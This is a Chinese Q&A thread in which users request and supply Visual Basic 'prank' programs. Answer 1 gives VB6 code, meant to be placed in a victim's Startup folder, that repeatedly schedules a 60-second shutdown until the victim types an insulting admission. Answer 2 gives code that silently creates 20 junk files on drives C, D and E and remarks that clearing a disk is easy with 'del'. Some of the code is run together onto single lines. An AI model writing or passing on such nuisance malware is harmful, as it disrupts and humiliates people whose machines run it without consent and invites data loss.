Question

求一堆vb整人程序的代码

要求：
1、那个程序会让电脑1分钟内关机，并且显示“请输入＇我是弱智＇”，他才会停止关机，并弹出一个框：早这样说不就好了吗
2、最好带教程（跟代码分开，图文并茂）

Answer 1

把下面的程序做成.exe。然后放在启动里。但首先要保证是XP系统，并且系统里有shut down命令。程序在visual basic6.0测试通过
Private Sub Form_Load()Dim x As StringDoShell ("c:\windows\system32\shutdown.exe -s -t 60")x = InputBox("你是不是弱智", "请输入", , 1000, 1000)If x = "是" ThenShell ("c:\windows\system32\shutdown.exe -a")MsgBox ("早这样说不就好了")EndEnd If
Loop
End Sub
这个程序挺简单的，就不上图了。里面做了一下改动。如果按楼主的意思，“我”，显示出来以后很别扭，如果你想改，把inputbox("")里的改成你想要的。在x=""里改成你想要对方回答的答案即可。

追问

能不能一行行地打出来，看上去乱七八糟的。

追答

Private Sub Form_Load()
Dim x As String
Do
Shell ("c:\windows\system32\shutdown.exe -s -t 60")
x = InputBox("你是不是弱智", "请输入", , 1000, 1000)
If x = "是" Then
Shell ("c:\windows\system32\shutdown.exe -a")
MsgBox ("早这样说不就好了")
End
End IfLoopEnd Sub我打的是一行行的，一提交就成了一片了

追问

那个End ifLoopEnd Sub
是不是
End if
Loop
End Sub

追答

是End if
loop
End Sub
我这网不行。机子也不行。没办法啊

Answer 2

Private Sub Form_Load()Form1.Visible = FalseFor i = 1 To 20# Open "c:\\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 1 Open "d:\\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 2 Open "e:\\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 3 Close #1 Close #2 Close #3NextEnd Sub执行后c,d,e会每个盘符下都有20个已经建立的文件,如果还有其他盘符你自己在加个上去清空硬盘很简单~直接del

Answer 3

很简单，设置变量，如果变量等于xxx，就关闭该程序，否则就shutdown+时间参数。